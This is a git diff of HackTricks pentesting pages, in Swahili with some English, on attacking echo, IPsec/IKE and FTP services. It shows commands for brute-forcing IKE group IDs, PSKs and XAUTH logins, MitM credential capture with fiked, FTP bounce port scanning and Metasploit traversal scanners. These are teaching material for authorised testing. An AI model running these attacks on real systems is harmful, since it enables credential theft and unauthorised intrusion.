# Basic Information
|
||||
|
||||
Huduma ya echo inafanya kazi kwenye mwenyeji huu. Huduma ya echo ilikusudiwa kwa ajili ya majaribio na vipimo na inaweza kusikiliza kwenye itifaki za TCP na UDP. Server inarudisha data yoyote inayopokea, bila mabadiliko.\
|
||||
**Inawezekana kusababisha kukatizwa kwa huduma kwa kuunganisha huduma ya echo kwenye huduma ya echo kwenye mashine moja au nyingine**. Kwa sababu ya idadi kubwa sana ya pakiti zinazozalishwa, mashine zilizoathirika zinaweza kutolewa kwa ufanisi kutoka kwenye huduma.\
|
||||
**Inawezekana kusababisha kukatizwa kwa huduma kwa kuunganisha huduma ya echo kwenye huduma ya echo kwenye mashine moja au nyingine**. Kwa sababu ya idadi kubwa sana ya pakiti zinazozalishwa, mashine zilizoathirika zinaweza kutolewa kwa ufanisi kutoka huduma.\
|
||||
Taarifa kutoka [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||
|
||||
**Default Port:** 7/tcp/udp
|
||||
|
|
@ -51,12 +43,6 @@ Hello echo #This is the response
|
|||
[CA-1996-01 UDP Port Denial-of-Service Attack](http://www.cert.org/advisories/CA-1996-01.html)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
|||
|
|
@ -16,25 +16,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
**IPsec** inatambulika sana kama teknolojia kuu ya kulinda mawasiliano kati ya mitandao (LAN-to-LAN) na kutoka kwa watumiaji wa mbali hadi lango la mtandao (remote access), ikihudumu kama msingi wa suluhisho za VPN za biashara.
|
||||
|
||||
Kuanzishwa kwa **ushirikiano wa usalama (SA)** kati ya maeneo mawili kunasimamiwa na **IKE**, ambayo inafanya kazi chini ya kivuli cha ISAKMP, protokali iliyoundwa kwa ajili ya uthibitishaji na kubadilishana funguo. Mchakato huu unafanyika katika hatua kadhaa:
|
||||
Kuanzishwa kwa **ushirikiano wa usalama (SA)** kati ya pointi mbili kunasimamiwa na **IKE**, ambayo inafanya kazi chini ya kivuli cha ISAKMP, protokali iliyoundwa kwa ajili ya uthibitishaji na kubadilishana funguo. Mchakato huu unafanyika katika hatua kadhaa:
|
||||
|
||||
* **Hatua ya 1:** Kituo salama kinaundwa kati ya maeneo mawili. Hii inapatikana kupitia matumizi ya Funguo za Kwanza (PSK) au vyeti, ikitumia hali kuu, ambayo inajumuisha jozi tatu za ujumbe, au **hali ya shinikizo**.
|
||||
* **Hatua ya 1:** Kituo salama kinaundwa kati ya mwisho mbili. Hii inapatikana kupitia matumizi ya Funguo za Kwanza za Kushiriki (PSK) au vyeti, ikitumia hali kuu, ambayo inajumuisha jozi tatu za ujumbe, au **hali ya shambulio**.
|
||||
* **Hatua ya 1.5:** Ingawa si ya lazima, hatua hii, inayojulikana kama Hatua ya Uthibitishaji wa Kupanuliwa, inathibitisha utambulisho wa mtumiaji anayejaribu kuungana kwa kuhitaji jina la mtumiaji na nenosiri.
|
||||
* **Hatua ya 2:** Hatua hii inajitolea kwa kujadili vigezo vya kulinda data kwa kutumia **ESP** na **AH**. Inaruhusu matumizi ya algorithimu tofauti na zile katika Hatua ya 1 ili kuhakikisha **Perfect Forward Secrecy (PFS)**, ikiongeza usalama.
|
||||
|
||||
**Bandari ya default:** 500/udp
|
||||
**Bandari ya kawaida:** 500/udp
|
||||
|
||||
## **Gundua** huduma kwa kutumia nmap
|
||||
```
|
||||
|
|
@ -48,9 +40,9 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
|||
```
|
||||
## **Kupata mabadiliko halali**
|
||||
|
||||
Mipangilio ya IPSec inaweza kuandaliwa ili kukubali mabadiliko moja au machache tu. Mabadiliko ni mchanganyiko wa thamani. **Kila mabadiliko** ina idadi ya sifa kama DES au 3DES kama **algorithimu ya usimbuaji**, SHA au MD5 kama **algorithimu ya uaminifu**, funguo zilizoshirikiwa mapema kama **aina ya uthibitishaji**, Diffie-Hellman 1 au 2 kama **algorithimu ya usambazaji wa funguo** na sekunde 28800 kama **muda wa maisha**.
|
||||
Mipangilio ya IPSec inaweza kuandaliwa ili kukubali mabadiliko moja au machache tu. Mabadiliko ni mchanganyiko wa thamani. **Kila mabadiliko** ina idadi ya sifa kama DES au 3DES kama **algorithimu ya usimbaji**, SHA au MD5 kama **algorithimu ya uaminifu**, funguo zilizoshirikiwa kabla kama **aina ya uthibitishaji**, Diffie-Hellman 1 au 2 kama **algorithimu ya usambazaji wa funguo** na sekunde 28800 kama **muda wa maisha**.
|
||||
|
||||
Basi, jambo la kwanza unalopaswa kufanya ni **kupata mabadiliko halali**, ili seva ikuzungumze. Ili kufanya hivyo, unaweza kutumia zana **ike-scan**. Kwa default, Ike-scan inafanya kazi katika hali kuu, na inatuma pakiti kwa lango lenye kichwa cha ISAKMP na pendekezo moja lenye **mabadiliko nane ndani yake**.
|
||||
Basi, jambo la kwanza unalopaswa kufanya ni **kupata mabadiliko halali**, ili server ikuzungumze. Ili kufanya hivyo, unaweza kutumia chombo **ike-scan**. Kwa default, Ike-scan inafanya kazi katika hali kuu, na inatuma pakiti kwa lango lenye kichwa cha ISAKMP na pendekezo moja lenye **mabadiliko nane ndani yake**.
|
||||
|
||||
Kulingana na jibu unaweza kupata taarifa fulani kuhusu mwisho:
|
||||
```
|
||||
|
|
@ -95,11 +87,11 @@ You could also try to brute force transformations with [**ikeforce**](https://gi
|
|||
Katika **DH Group: 14 = 2048-bit MODP** na **15 = 3072-bit**\
|
||||
**2 = HMAC-SHA = SHA1 (katika kesi hii). Muundo wa `--trans` ni $Enc,$Hash,$Auth,$DH**
|
||||
|
||||
Cisco inaonyesha kuepuka kutumia vikundi vya DH 1 na 2 kwa sababu havina nguvu za kutosha. Wataalamu wanaamini kwamba **nchi zenye rasilimali nyingi zinaweza kwa urahisi kuvunja usimbaji** wa data inayotumia vikundi hivi dhaifu. Hii inafanywa kwa kutumia mbinu maalum inayowandaa kuvunja misimbo kwa haraka. Ingawa inagharimu pesa nyingi kuanzisha mbinu hii, inaruhusu nchi hizi zenye nguvu kusoma data iliyosimbwa kwa wakati halisi ikiwa inatumia kundi ambalo si imara (kama 1,024-bit au ndogo).
|
||||
Cisco inaonyesha kuepuka kutumia vikundi vya DH 1 na 2 kwa sababu havina nguvu za kutosha. Wataalamu wanaamini kwamba **nchi zenye rasilimali nyingi zinaweza kwa urahisi kuvunja usimbaji** wa data inayotumia vikundi hivi dhaifu. Hii inafanywa kwa kutumia mbinu maalum inayowandaa kuvunja misimbo kwa haraka. Ingawa inagharimu pesa nyingi kuanzisha mbinu hii, inawawezesha nchi hizi zenye nguvu kusoma data iliyosimbwa kwa wakati halisi ikiwa inatumia kundi ambalo si imara (kama 1,024-bit au ndogo).
|
||||
|
||||
### Server fingerprinting
|
||||
### Ufuatiliaji wa seva
|
||||
|
||||
Kisha, unaweza kutumia ike-scan kujaribu **kujua muuzaji** wa kifaa. Chombo kinatuma pendekezo la awali na kusitisha kurudia. Kisha, itachambua **tofauti** ya **wakati** **kati ya** **ujumbe** ulipokelewa kutoka kwa seva na muundo wa majibu unaolingana, pentester anaweza kwa mafanikio kubaini muuzaji wa VPN gateway. Zaidi ya hayo, baadhi ya seva za VPN zitatumia **Vendor ID (VID) payload** kwa IKE.
|
||||
Kisha, unaweza kutumia ike-scan kujaribu **kujua muuzaji** wa kifaa. Chombo kinatuma pendekezo la awali na kusitisha kurudi nyuma. Kisha, itachambua **tofauti** ya **wakati** **kati ya** **ujumbe** ulipokelewa kutoka kwa seva na muundo wa majibu unaolingana, pentester anaweza kwa mafanikio kufuatilia muuzaji wa VPN gateway. Zaidi ya hayo, baadhi ya seva za VPN zitatumia **Vendor ID (VID) payload** ya hiari pamoja na IKE.
|
||||
|
||||
**Taja mabadiliko halali ikiwa inahitajika** (ukitumia --trans)
|
||||
|
||||
|
|
@ -125,10 +117,10 @@ Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 retur
|
|||
```
|
||||
Hii inaweza pia kufanywa kwa kutumia nmap script _**ike-version**_
|
||||
|
||||
## Kupata ID sahihi (jina la kundi)
|
||||
## Kutafuta ID sahihi (jina la kundi)
|
||||
|
||||
Ili kuruhusiwa kukamata hash unahitaji mabadiliko halali yanayounga mkono Aggressive mode na ID sahihi (jina la kundi). Huenda usijue jina halali la kundi, hivyo itabidi ulipue kwa nguvu.\
|
||||
Ili kufanya hivyo, ningependa kukupendekezea mbinu 2:
|
||||
Ili kufanya hivyo, ningependekeza njia 2:
|
||||
|
||||
### Kupiga ID kwa nguvu na ike-scan
|
||||
|
||||
|
|
@ -156,19 +148,19 @@ Or use this dict (is a combination of the other 2 dicts without repetitions):
|
|||
|
||||
### Bruteforcing ID with Iker
|
||||
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) pia inatumia **ike-scan** kutafuta majina ya vikundi yanayoweza kuwa. Inafuata njia yake mwenyewe ya **kupata ID halali kulingana na matokeo ya ike-scan**.
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) pia inatumia **ike-scan** kubruteforce majina ya vikundi yanayoweza kuwa. Inafuata njia yake mwenyewe ya **kupata ID halali kulingana na matokeo ya ike-scan**.
|
||||
|
||||
### Bruteforcing ID with ikeforce
|
||||
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) ni chombo ambacho kinaweza kutumika **kujaribu nguvu IDs pia**. Chombo hiki kitajaribu **kuchangamkia udhaifu tofauti** ambazo zinaweza kutumika **kuweza kutofautisha kati ya ID halali na isiyo halali** (inaweza kuwa na positives za uwongo na negatives za uwongo, ndiyo maana napendelea kutumia njia ya ike-scan ikiwa inawezekana).
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) ni chombo ambacho kinaweza kutumika **kubruteforce IDs pia**. Chombo hiki kitajaribu **kutitumia udhaifu tofauti** ambazo zinaweza kutumika **kuweza kutofautisha kati ya ID halali na isiyo halali** (inaweza kuwa na positives za uwongo na negatives za uwongo, ndiyo maana napendelea kutumia njia ya ike-scan ikiwa inawezekana).
|
||||
|
||||
Kwa kawaida **ikeforce** itatuma mwanzoni baadhi ya IDs za nasibu ili kuangalia tabia ya seva na kuamua mbinu ya kutumia.
|
||||
|
||||
* Njia ya **kwanza** ni kujaribu nguvu majina ya vikundi kwa **kutafuta** taarifa ya **Dead Peer Detection DPD** ya mifumo ya Cisco (habari hii inarejelewa tu na seva ikiwa jina la kundi ni sahihi).
|
||||
* Njia ya **pili** inayopatikana ni **kuangalia idadi ya majibu yaliyotumwa kwa kila jaribio** kwa sababu wakati mwingine pakiti zaidi zitatumwa wakati ID sahihi inatumika.
|
||||
* Njia ya **kwanza** ni kubruteforce majina ya vikundi kwa **kutafuta** taarifa ya **Dead Peer Detection DPD** ya mifumo ya Cisco (habari hii inarejelewa tu na seva ikiwa jina la kundi ni sahihi).
|
||||
* Njia ya **pili** inayopatikana ni **kuangalia idadi ya majibu yaliyotumwa kwa kila jaribio** kwa sababu wakati mwingine pakiti zaidi zinatumwa wakati ID sahihi inatumika.
|
||||
* Njia ya **tatu** inajumuisha **kutafuta "INVALID-ID-INFORMATION" katika jibu la ID isiyo sahihi**.
|
||||
* Hatimaye, ikiwa seva haitajibu chochote kwa ukaguzi, **ikeforce** itajaribu kujaribu nguvu seva na kuangalia ikiwa wakati ID sahihi inatumwa seva inajibu kwa pakiti fulani.\
|
||||
Kwa wazi, lengo la kujaribu nguvu ID ni kupata **PSK** unapokuwa na ID halali. Kisha, pamoja na **ID** na **PSK** utahitaji kujaribu nguvu XAUTH (ikiwa imewezeshwa).
|
||||
* Hatimaye, ikiwa seva haitajibu chochote kwa ukaguzi, **ikeforce** itajaribu kubruteforce seva na kuangalia ikiwa wakati ID sahihi inatumwa seva inajibu kwa pakiti fulani.\
|
||||
Kwa wazi, lengo la kubruteforce ID ni kupata **PSK** unapokuwa na ID halali. Kisha, pamoja na **ID** na **PSK** utahitaji kubruteforce XAUTH (ikiwa imewezeshwa).
|
||||
|
||||
Ikiwa umepata mabadiliko maalum ongeza katika amri ya ikeforce. Na ikiwa umepata mabadiliko kadhaa usisite kuongeza mzunguko mpya kujaribu yote (unapaswa kujaribu yote hadi moja yao ifanye kazi ipasavyo).
|
||||
```bash
|
||||
|
|
@ -199,17 +191,17 @@ psk-crack -d <Wordlist_path> psk.txt
|
|||
```
|
||||
## **XAuth**
|
||||
|
||||
**Aggressive mode IKE** pamoja na **Pre-Shared Key (PSK)** mara nyingi hutumiwa kwa madhumuni ya **uthibitishaji wa kikundi**. Njia hii inapanuliwa na **XAuth (Extended Authentication)**, ambayo inatoa safu ya ziada ya **uthibitishaji wa mtumiaji**. Uthibitishaji huu kwa kawaida unategemea huduma kama **Microsoft Active Directory**, **RADIUS**, au mifumo inayofanana.
|
||||
**Aggressive mode IKE** iliyounganishwa na **Pre-Shared Key (PSK)** mara nyingi inatumika kwa madhumuni ya **uthibitishaji wa kikundi**. Njia hii inapanuliwa na **XAuth (Extended Authentication)**, ambayo inatoa safu ya ziada ya **uthibitishaji wa mtumiaji**. Uthibitishaji kama huu kawaida hutumia huduma kama **Microsoft Active Directory**, **RADIUS**, au mifumo inayofanana.
|
||||
|
||||
Katika kuhamia kwenye **IKEv2**, mabadiliko makubwa yanaonekana ambapo **EAP (Extensible Authentication Protocol)** inatumika badala ya **XAuth** kwa lengo la kuthibitisha watumiaji. Mabadiliko haya yanaonyesha maendeleo katika mbinu za uthibitishaji ndani ya itifaki za mawasiliano salama.
|
||||
Katika kuhamia kwa **IKEv2**, mabadiliko makubwa yanaonekana ambapo **EAP (Extensible Authentication Protocol)** inatumika badala ya **XAuth** kwa lengo la kuthibitisha watumiaji. Mabadiliko haya yanaonyesha maendeleo katika mbinu za uthibitishaji ndani ya itifaki za mawasiliano salama.
|
||||
|
||||
### MitM ya mtandao wa ndani ili kukamata akiba
|
||||
### MitM ya mtandao wa ndani ili kukamata akidi
|
||||
|
||||
Hivyo unaweza kukamata data ya kuingia kwa kutumia _fiked_ na kuona kama kuna jina la mtumiaji la kawaida (Unahitaji kuelekeza trafiki ya IKE kwa `fiked` kwa ajili ya kunusa, ambayo inaweza kufanywa kwa msaada wa ARP spoofing, [maelezo zaidi](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked itafanya kazi kama mwisho wa VPN na itakamata akiba za XAuth:
|
||||
Hivyo unaweza kukamata data ya kuingia kwa kutumia _fiked_ na kuona kama kuna jina la mtumiaji la kawaida (Unahitaji kuelekeza trafiki ya IKE kwa `fiked` kwa ajili ya kunusa, ambayo inaweza kufanywa kwa msaada wa ARP spoofing, [maelezo zaidi](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked itakuwa kama mwisho wa VPN na itakamata akidi za XAuth:
|
||||
```bash
|
||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||
```
|
||||
Pia, ukitumia IPSec jaribu kufanya shambulio la MitM na kuzuia trafiki yote kwenye bandari 500, ikiwa tunnel ya IPSec haiwezi kuanzishwa labda trafiki itatumwa wazi.
|
||||
Pia, kutumia IPSec jaribu kufanya shambulio la MitM na kuzuia trafiki yote kwenye bandari 500, ikiwa tunnel ya IPSec haiwezi kuanzishwa labda trafiki itatumwa wazi.
|
||||
|
||||
### Brute-forcing XAUTH username na password kwa ikeforce
|
||||
|
||||
|
|
@ -217,7 +209,7 @@ Ili kufanya brute force **XAUTH** (wakati unajua jina halali la kundi **id** na
|
|||
```bash
|
||||
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
||||
```
|
||||
Hivi ndivyo, ikeforce itajaribu kuungana kwa kutumia kila mchanganyiko wa jina la mtumiaji:nenosiri.
|
||||
Hii njia, ikeforce itajaribu kuungana kwa kutumia kila mchanganyiko wa jina la mtumiaji:nenosiri.
|
||||
|
||||
Ikiwa umepata moja au zaidi ya mabadiliko halali tumia tu kama katika hatua zilizopita.
|
||||
|
||||
|
|
@ -225,7 +217,7 @@ Ikiwa umepata moja au zaidi ya mabadiliko halali tumia tu kama katika hatua zili
|
|||
|
||||
Katika Kali, **VPNC** inatumika kuanzisha mabomba ya IPsec. **Profaili** lazima ziwe katika saraka `/etc/vpnc/`. Unaweza kuanzisha profaili hizi kwa kutumia amri _**vpnc**_.
|
||||
|
||||
Amri na mipangilio ifuatayo inaonyesha mchakato wa kuanzisha muunganisho wa VPN na VPNC:
|
||||
Amri na usanidi zifuatazo zinaonyesha mchakato wa kuanzisha muunganisho wa VPN na VPNC:
|
||||
```bash
|
||||
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
|
||||
IPSec gateway [VPN_GATEWAY_IP]
|
||||
|
|
@ -241,13 +233,13 @@ root@system:~# ifconfig tun0
|
|||
```
|
||||
In this setup:
|
||||
|
||||
* Badilisha `[VPN_GATEWAY_IP]` na anwani halisi ya IP ya VPN gateway.
|
||||
* Badilisha `[VPN_CONNECTION_ID]` na kitambulisho cha muunganisho wa VPN.
|
||||
* Badilisha `[VPN_GROUP_SECRET]` na siri ya kikundi cha VPN.
|
||||
* Badilisha `[VPN_USERNAME]` na `[VPN_PASSWORD]` na akreditivu za uthibitishaji za VPN.
|
||||
* `[PID]` inaashiria kitambulisho cha mchakato ambacho kitapewa wakati `vpnc` inapoanzishwa.
|
||||
* Replace `[VPN_GATEWAY_IP]` with the actual IP address of the VPN gateway.
|
||||
* Replace `[VPN_CONNECTION_ID]` with the identifier for the VPN connection.
|
||||
* Replace `[VPN_GROUP_SECRET]` with the VPN's group secret.
|
||||
* Replace `[VPN_USERNAME]` and `[VPN_PASSWORD]` with the VPN authentication credentials.
|
||||
* `[PID]` symbolizes the process ID that will be assigned when `vpnc` initiates.
|
||||
|
||||
Hakikisha kwamba thamani halisi, salama zinatumika kubadilisha nafasi hizo wakati wa kuunda VPN.
|
||||
Ensure that actual, secure values are used to replace the placeholders when configuring the VPN.
|
||||
|
||||
## Reference Material
|
||||
|
||||
|
|
@ -260,11 +252,6 @@ Hakikisha kwamba thamani halisi, salama zinatumika kubadilisha nafasi hizo wakat
|
|||
|
||||
* `port:500 IKE`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
|||
|
|
@ -15,18 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Protokali ya Uhamishaji wa Faili (FTP)** inatumika kama protokali ya kawaida kwa uhamishaji wa faili kati ya mtandao wa kompyuta kati ya seva na mteja.\
|
||||
Ni **protokali ya maandiko safi** inayotumia **mhusika mpya `0x0d 0x0a`** hivyo wakati mwingine unahitaji **kuungana kwa kutumia `telnet`** au **`nc -C`**.
|
||||
Ni **protokali ya maandiko safi** inayotumia **mhusika mpya `0x0d 0x0a`** hivyo wakati mwingine unahitaji **kuunganisha kwa kutumia `telnet`** au **`nc -C`**.
|
||||
|
||||
**Bandari ya Kawaida:** 21
|
||||
```
|
||||
|
|
@ -151,9 +143,9 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
|
||||
* **`USER username`**
|
||||
* **`PASS password`**
|
||||
* **`HELP`** Seva inaonyesha amri zipi zinasaidiwa
|
||||
* **`HELP`** Seva inaonyesha amri zipi zinakubaliwa
|
||||
* \*\*`PORT 127,0,0,1,0,80`\*\*Hii itaonyesha seva ya FTP kuanzisha muunganisho na IP 127.0.0.1 kwenye bandari 80 (_unahitaji kuweka herufi ya 5 kama "0" na ya 6 kama bandari kwa desimali au tumia ya 5 na 6 kuonyesha bandari kwa hex_).
|
||||
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Hii itaonyesha seva ya FTP kuanzisha muunganisho wa TCP (_inaonyeshwa na "2"_) na IP 127.0.0.1 kwenye bandari 80. Amri hii **inaunga mkono IPv6**.
|
||||
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Hii itaonyesha seva ya FTP kuanzisha muunganisho wa TCP (_unaonyeshwa na "2"_) na IP 127.0.0.1 kwenye bandari 80. Amri hii **inasaidia IPv6**.
|
||||
* **`LIST`** Hii itatuma orodha ya faili katika folda ya sasa
|
||||
* **`LIST -R`** Orodha kwa njia ya kurudi (ikiwa inaruhusiwa na seva)
|
||||
* **`APPE /path/something.txt`** Hii itaonyesha FTP kuhifadhi data iliyopokelewa kutoka muunganisho wa **passive** au kutoka muunganisho wa **PORT/EPRT** kwenye faili. Ikiwa jina la faili lipo, litazidisha data.
|
||||
|
|
@ -169,7 +161,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
|
||||
## FTPBounce attack
|
||||
|
||||
Seva zingine za FTP zinaruhusu amri ya PORT. Amri hii inaweza kutumika kuonyesha kwa seva kwamba unataka kuungana na seva nyingine ya FTP kwenye bandari fulani. Kisha, unaweza kutumia hii kuchunguza ni bandari zipi za mwenyeji ziko wazi kupitia seva ya FTP.
|
||||
Seva zingine za FTP zinaruhusu amri ya PORT. Amri hii inaweza kutumika kuonyesha seva kwamba unataka kuungana na seva nyingine ya FTP kwenye bandari fulani. Kisha, unaweza kutumia hii kuchunguza ni bandari zipi za mwenyeji ziko wazi kupitia seva ya FTP.
|
||||
|
||||
[**Jifunze hapa jinsi ya kutumia seva ya FTP kuchunguza bandari.**](ftp-bounce-attack.md)
|
||||
|
||||
|
|
@ -196,7 +188,7 @@ Hata hivyo, hapa una [mfano wa zamani kuhusu jinsi ya kutumia hii kufanya seva y
|
|||
|
||||
## Filezilla Server Vulnerability
|
||||
|
||||
**FileZilla** kawaida **huunganisha** na **mitaa** huduma ya **Utawala** kwa **FileZilla-Server** (bandari 14147). Ikiwa unaweza kuunda **tunnel** kutoka **kifaa chako** kufikia bandari hii, unaweza **kuungana** nayo kwa kutumia **nenosiri tupu** na **kuunda** mtumiaji **mpya** kwa huduma ya FTP.
|
||||
**FileZilla** kawaida **huunganisha** na **local** huduma ya **Administrative** kwa **FileZilla-Server** (bandari 14147). Ikiwa unaweza kuunda **tunnel** kutoka **kifaa chako** ili kufikia bandari hii, unaweza **kuungana** nayo kwa kutumia **nenosiri tupu** na **kuunda** mtumiaji **mpya** kwa huduma ya FTP.
|
||||
|
||||
## Config files
|
||||
```
|
||||
|
|
@ -224,15 +216,6 @@ Mipangilio ya kawaida ya vsFTPd inaweza kupatikana katika `/etc/vsftpd.conf`. Ha
|
|||
* `ftp`
|
||||
* `port:21`
|
||||
|
||||
***
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
|
|
@ -287,8 +270,8 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||
Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/ftp_version; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/bison_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/colorado_ftp_traversal; set RHOSTS {IP}; set RPORT 21; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ftp/titanftp_xcrc_traversal; set RHOSTS {IP}; set RPORT 21; run; exit'
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
|||
|
|
@ -15,31 +15,23 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## FTP Bounce - Scanning
|
||||
|
||||
### Manual
|
||||
|
||||
1. Unganisha kwenye FTP iliyo hatarini
|
||||
2. Tumia \*\*`PORT`\*\* au **`EPRT`** (lakini moja tu kati yao) ili kuanzisha muunganisho na _\<IP:Port>_ unayotaka kuchunguza:
|
||||
2. Tumia \*\*`PORT`\*\*au **`EPRT`**(lakini moja tu kati yao) ili kuanzisha muunganisho na _\<IP:Port>_ unayotaka kuchunguza:
|
||||
|
||||
`PORT 172,32,80,80,0,8080`\
|
||||
`EPRT |2|172.32.80.80|8080|`
|
||||
3. Tumia **`LIST`** (hii itatuma tu kwenye _\<IP:Port>_ iliyounganishwa orodha ya faili za sasa katika folda ya FTP) na angalia majibu yanayowezekana: `150 File status okay` (Hii ina maana kwamba port iko wazi) au `425 No connection established` (Hii ina maana kwamba port imefungwa)
|
||||
3. Tumia **`LIST`**(hii itatuma tu kwenye _\<IP:Port>_ iliyounganishwa orodha ya faili za sasa katika folda ya FTP) na angalia majibu yanayowezekana: `150 File status okay` (Hii ina maana kwamba port iko wazi) au `425 No connection established` (Hii ina maana kwamba port imefungwa)
|
||||
1. Badala ya `LIST` unaweza pia kutumia **`RETR /file/in/ftp`** na kutafuta majibu yanayofanana ya `Open/Close`.
|
||||
|
||||
Mfano wa Kutumia **PORT** (port 8080 ya 172.32.80.80 iko wazi na port 7777 imefungwa):
|
||||
Mfano Tumia **PORT** (port 8080 ya 172.32.80.80 iko wazi na port 7777 imefungwa):
|
||||
|
||||
.png>)
|
||||
|
||||
Mfano sawa ukitumia **`EPRT`** (uthibitisho umeachwa kwenye picha):
|
||||
Mfano sawa ukitumia **`EPRT`**(uthibitisho umeondolewa kwenye picha):
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -53,12 +45,6 @@ nmap -b <name>:<pass>@<ftp_server> <victim>
|
|||
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
|
||||
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
|
||||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
